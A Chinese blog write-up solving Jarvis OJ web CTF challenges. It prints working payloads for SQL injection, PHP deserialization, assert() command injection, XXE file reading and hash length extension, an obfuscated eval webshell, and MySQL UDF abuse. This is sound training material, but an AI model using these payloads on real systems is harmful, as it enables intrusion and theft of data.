Loading... ##PORT51 要从51端口访问这个网站,curl走一波: ```bash curl web.jarvisoj.com:32770 --local-port 51 ``` ##LOCALHOST 本地访问,加一对XFF键值对就好啦: ``` X-Forwarded-For : 127.0.0.1 ``` ##Login 需要登录,尝试注入,未果。抓包,发现 header 里面有一个hint: ``` "select * from `admin` where password='".md5($pass,true)."'" ``` `md5()`这个函数可以接受两个参数:`string` 和 `raw`。 > 1. 第一个参数string是必需的,规定要计算的字符串。 > 2. 第二个参数raw可选,规定十六进制或二进制输出格式: > - TRUE – 原始 – 16 字符二进制格式 > - FALSE – 默认 – 32 字符十六进制数 `raw`参数为 true 意味着加密后的值会被当成字符串来看,于是找一个加密后带有注入语句的值就可以了。 这里给出两个: ``` content: 129581926211651571912466741651878684928 hex: 06da5430449f8f6f23dfc1276f722738 raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8 string: T0Do#'or'8 ``` ``` content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c string: 'or'6]!r,b ``` ##神盾局的秘密 这道题打开来是一张图片。日常查看源码,发现源码如下: ``` <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> ``` 点开链接,发现是一堆奇怪的字符。观察这个URL,这里应该是将 img 进行base64解密后再将这个文件包含进来。想到文件包含,那就来包含一下这个 showimg.php 和 index.php 的源码吧: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-ebaabe90e227f0b2cf1b61d269698d8584" aria-expanded="true"><div class="accordion-toggle"><span style="">index.php源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-ebaabe90e227f0b2cf1b61d269698d8584" class="collapse collapse-content"><p></p> ```php <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> ``` <p></p></div></div></div> <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-dd41765e5bd8a074f8ff887e5428633f3" aria-expanded="true"><div class="accordion-toggle"><span style="">showimg.php源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-dd41765e5bd8a074f8ff887e5428633f3" class="collapse collapse-content"><p></p> ```php <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?> ``` <p></p></div></div></div> 看到 index.php 里面的 `unserialize` 就想到反序列化漏洞。然后就找可用的函数。这里包含了一个 shield.php ,于是再看一下它的源码: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-df9b4ed6c927e2e7243ea38a4ec4900b25" aria-expanded="true"><div class="accordion-toggle"><span style="">shield.php源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-df9b4ed6c927e2e7243ea38a4ec4900b25" class="collapse collapse-content"><p></p> ```php <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?> ``` <p></p></div></div></div> 这时候应该很明显了。剩下的不难,直接放exp吧: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-f411a92ec3ce105e8bab90d71c03679b77" aria-expanded="true"><div class="accordion-toggle"><span style="">exp</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-f411a92ec3ce105e8bab90d71c03679b77" class="collapse collapse-content"><p></p> ```php <?php <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $a = new Shield('pctf.php'); echo serialize($a); ?> ``` <p></p></div></div></div> Get flag. ##IN A Mess 打开题目,日常查看源码。发现有提示index.phps。打开后发现是 index.php 的源码: ```php <?php error_reporting(0); echo "<!--index.phps-->"; if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; } $data = @file_get_contents($a,'r'); if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } else { print "work harder!harder!harder!"; } ?> ``` 观察源码,接受三个参量,然后就是各种限制了。绕过方法如下: - id=asd : 利用PHP中 `==` 漏洞来绕过; - a=php://input : PHP伪协议的利用; - b=%00asdasdas : 利用 `%00` 截断来绕过 `eregi` 函数; 绕过之后得到: ``` Come ON!!! {/^HT2mCpcvOLf} ``` 一个新路径。进去之后没什么东西。看到URL中id=1,猜想会有SQL注入漏洞。输入一个单引号,返回 `SELECT * FROM content WHERE id=1’` 。简单测试了一下,过滤了 `空格` 以及 `/**/` ,还有像 `select` , `union`, `from` 这种关键字都被正则替换了一次。 确定了这些后,接下来就是绕过了: - 空格被过滤了就用注释代替(如 `/*asd*/`); - select 这些就用 `selselectect` 这样的绕过就好了。 那么就开始注入吧: ``` 确定列数 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,3%23 确定表名 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(table_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_schema=database()# 确定列名 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(column_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_name=0x636f6e74656e74%23 获得数据 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,context/*aaa*/frfromom/*aaa*/content%23 ``` 成功Get flag。 ##inject Hint 让我找源码,那就扫一波后台。果然扫出了一个奇怪的路径:`index.php~` 。打开后得到源码: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-b159c4f93b61c65cbc9a18e3feb81c4c65" aria-expanded="true"><div class="accordion-toggle"><span style="">exp</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-b159c4f93b61c65cbc9a18e3feb81c4c65" class="collapse in collapse-content"><p></p> ```php <?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?> ``` <p></p></div></div></div> 那就注入吧。这个反引号比较神奇: ```sql desc `users` `23333333`; ``` 像这样的语句,只要第一个反引号中的表是存在的,那么这整条语句都不会报错。于是乎,开始注入: ``` 查库名 ?table=flag` ` union select database() limit 1,1 查表名 ?table=flag` ` union select group_concat(table_name) from information_schema.columns where table_schema=database() limit 1,1 查列名 ?table=flag` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 查flag ?table=flag` ` union select flagUwillNeverKnow from secret_flag limit 1,1 ``` 成功 Get flag。 ##babyphp 打开题目后,在about里面写了使用了GIT,猜测有源码泄露。用GitHack爬一波源码: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-1fc27a330a81b2790446b13f01f3f9ba88" aria-expanded="true"><div class="accordion-toggle"><span style="">index.php源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-1fc27a330a81b2790446b13f01f3f9ba88" class="collapse in collapse-content"><p></p> ```php <?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>My PHP Website</title> <link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" /> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Project name</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li> <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li> <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li> <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --> </ul> </div> </div> </nav> <div class="container" style="margin-top: 50px"> <?php require_once $file; ?> </div> <script src="http://code.jquery.com/jquery-latest.js" /> <script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" /> </body> </html> ``` <p></p></div></div></div> 查看源码,发现有一句注释掉的语句: ``` <!--<li ><a href="?page=flag">My secrets</a></li> --> ``` 暂时没什么用处。观察这三句: ```php $file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); assert("file_exists('$file')") or die("That file doesn't exist!"); ``` PHP有一个神奇的特性:**字符串在拼接的时候是可以执行命令的!** 所以构造Payload如下: ``` ?page=flag'.system("ls templates/;").' ``` 此时构造出来的语句如下: ``` assert("strpos('templates/flag'.system("ls templates/;").'.php', '..') === false") or die("Detected hacking attempt!"); ``` 此时程序会先执行ls,然后将输出结果与'templates/'和'.php'拼接起来,然后再去执行strpos,所以输出结果: ``` about.php contact.php flag.php home.php about.php contact.php flag.php home.php That file doesn't exist! ``` 于是cat flag: ``` http://web.jarvisoj.com:32798/?page=flag%27.system(%22cat%20templates/flag.php%22).%27 ``` 在源码中可以看到flag被注释掉了,所以F12就好啦~ ##Simple Injection 基于布尔的盲注。测试了一下只过滤了空格。那么上脚本: <div class="panel panel-default collapse-panel box-shadow-wrap-lg"><div class="panel-heading panel-collapse" data-toggle="collapse" data-target="#collapse-a10ff898988ed0070568b09db4c447cf87" aria-expanded="true"><div class="accordion-toggle"><span style="">index.php源码</span> <i class="pull-right fontello icon-fw fontello-angle-right"></i> </div> </div> <div class="panel-body collapse-panel-body"> <div id="collapse-a10ff898988ed0070568b09db4c447cf87" class="collapse in collapse-content"><p></p> ```python #encoding: utf-8 import requests import string characters = string.ascii_letters + string.digits + string.punctuation url = "http://web.jarvisoj.com:32787/login.php" r = requests.session() max_len = 50 database = "" for i in range(1,max_len): next_postion = False for j in characters: #payload = "admin'/**/and/**/substr(database(),{0},1)='{1}'#" .format(i, j) #payload = "admin'/**/and/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1)='{1}'#" .format(i, j) #payload = "admin'/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/2,1),{0},1)='{1}'#" .format(i, j) payload = "admin'/**/and/**/substr((select/**/password/**/from/**/admin),{0},1)='{1}'#" .format(i, j) #print (payload) data = { "username": payload, "password": "admin" } response = r.post(url, data=data) if "密码错误" in response.text: database += j next_postion = True break if not next_postion: break print (database) print (database) ``` <p></p></div></div></div> (爆破哪些信息应该看的出来吧╰( ̄ω ̄o)) ##api调用 这题需要用到XXE漏洞。来几篇文章了解一下XXE: https://security.tencent.com/index.php/blog/msg/69 http://www.freebuf.com/articles/web/126788.html http://www.mottoin.com/92794.html 将Content-Type改为 application/xml,再POST以下数据上去: ``` <?xml version="1.0"?> <!DOCTYPE abcd[ <!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]> <something>&any;</something> ``` Get Flag! ##WEB? 打开以为是注入,然而并不是……查看源码发现 `app.js` 这个路径,打开后得到一堆JS代码。找个在线网站格式化一下。(好长一段就不放上来了吧) 搜一下password,得到以下代码: ```js $.post("checkpass.json", t, function(t) { self.checkpass(e) ? self.setState({ errmsg: "Success!!", errcolor: b.green400 }) : (self.setState({ errmsg: "Wrong Password!!" ...... })) }) ``` 再搜一下这个checkpass函数,得到: ```js function(e) { if (25 !== e.length) return ! 1; for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n)); for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) { for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a]; if (i !== r[n]) return ! 1 } return ! 0 } ``` 25元方程组…………打扰了………… 上Python脚本: ```python import numpy as np o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]] r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259] o = np.array(o) r = np.array(r) x = np.linalg.solve(o,r) #print (x) result = '' for i in x: result += chr(int(round(i))) print(result) ``` 这个numpy库可以用来解线性方程组。解出来就是flag了。 ##flag在管理员手里 进去后提示要admin才能得到flag。扫一波后台,发现有个路径 index.php~ 下载下来一个文件。放进Linux里面还原,得到源码: ```php <!DOCTYPE html> <html> <head> <title>Web 350</title> <style type="text/css"> body { background:gray; text-align:center; } </style> </head> <body> <?php $auth = false; $role = "guest"; $salt = if (isset($_COOKIE["role"])) { $role = unserialize($_COOKIE["role"]); $hsh = $_COOKIE["hsh"]; if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) { $auth = true; } else { $auth = false; } } else { $s = serialize($role); setcookie('role',$s); $hsh = md5($salt.strrev($s)); setcookie('hsh',$hsh); } if ($auth) { echo "<h3>Welcome Admin. Your flag is } else { echo "<h3>Only Admin can see the flag!!</h3>"; } ?> </body> </html> ``` 要想获得flag就需要设置Cookie中的role为admin,然后这个hsh则是一个加了盐的hash值。加了盐看似很安全,但是这里存在一个哈希长度扩展攻击。 两篇参考文章: https://www.freebuf.com/articles/web/69264.html https://www.freebuf.com/articles/web/31756.html 生成payload可以用hashpump这个工具。教程: https://www.cnblogs.com/pcat/p/5478509.html 那么就上脚本吧: ```python import hashpumpy import urllib import requests for i in range(1,30): m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i) print (i) url='http://120.26.131.152:32778/' digest=m[0] message=urllib.quote(urllib.unquote(m[1])[::-1]) cookie='role='+message+'; hsh='+digest #print cookie headers={ 'cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate' } #print (headers) re=requests.get(url=url,headers=headers) if "Welcome" in re.text: print (re.text) break ``` !> 上面的脚本是在Linux环境下跑的。因为Windows环境下我装不了hashpumpy这个库。(也不知道为什么) ##Chopper 打开题目,点管理员登录,发现没有权限。查看源码,发现管理员IP:202.5.19.128。 尝试加XFF头,未果。回到最开始的界面,查看源码,发现图片的代码如下: ```html <img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="" style=""> ``` 这里我去查了writeup才知道,这里是双重文件包含。猜想管理员IP下面也有一个相同的proxy.php,于是构造URL: ``` http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/ ``` 果然访问进去了。扫一波后台,发现robots.txt,查看到有两个文件:`trojan.php.txt` 和 `trojan.php`。 PHP后缀的应该就是木马了。打开trojan.php.txt,发现一堆奇怪的字符串: ```php <?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?> ``` 本地搭个环境,跑一遍看看,发现报错: ``` Notice: Undefined offset: 360 in G:\Study\Server\PHPStudy\PHPTutorial\WWW\index.php(1) : assert code on line 1 Warning: assert(): Assertion "eval($_POST[360])" failed in G:\Study\Server\PHPStudy\PHPTutorial\WWW\index.php on line 1 ``` 得到木马 `eval($_POST[360])`。菜刀连上去,得到flag。 ##RE? 给了一个so文件。这里有一个东西叫做udf提权(等我仔细学习后再记录吧)。 ```mysql > show variables like "%plugin%"; +---------------+------------------------+ | Variable_name | Value | +---------------+------------------------+ | plugin_dir | /usr/lib/mysql/plugin/ | +---------------+------------------------+ #把 udf.so 移到该目录下 > create function help_me returns string soname 'udf.so'; > select help_me(); +---------------------------------------------+ | help_me() | +---------------------------------------------+ | use getflag function to obtain your flag!! | +---------------------------------------------+ > create function getflag returns string soname 'udf.so'; > select getflag(); +------------------------------------------+ | getflag() | +------------------------------------------+ | PCTF{Interesting_U5er_d3fined_Function} | +------------------------------------------+ > drop function help_me; > drop function getflag; ``` ##Easy Gallery 图片上传和文件包含。URL中有`page=`这样的语句,于是随便输一些东西,发现报错: ``` Warning: fopen(‘.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24 No such file! ``` 于是猜想文件包含。发现会加.php后缀,于是加%00截断,发现可以截断。用伪协议读源码,发现被ban了。 猜想上传木马再进行文件包含。上传发现只能上传jpg或gif,于是把木马写在图片的最后。发现被改名了。 扫一波目录发现有upload目录,估计上传的文件都在这里。 到这里我就没思路了。查了wp后说是只要包含了就给flag。于是包含,发现 `<?php` 被ban了。改成`<script language='php'> @eval($_GET["cmd"]); </script>`,得到flag。 > 看到有大佬说这题只检测了 `<script language='php'>` 和 `<?php`。出现前者给flag,后者就ban。 最后修改:2019 年 06 月 12 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏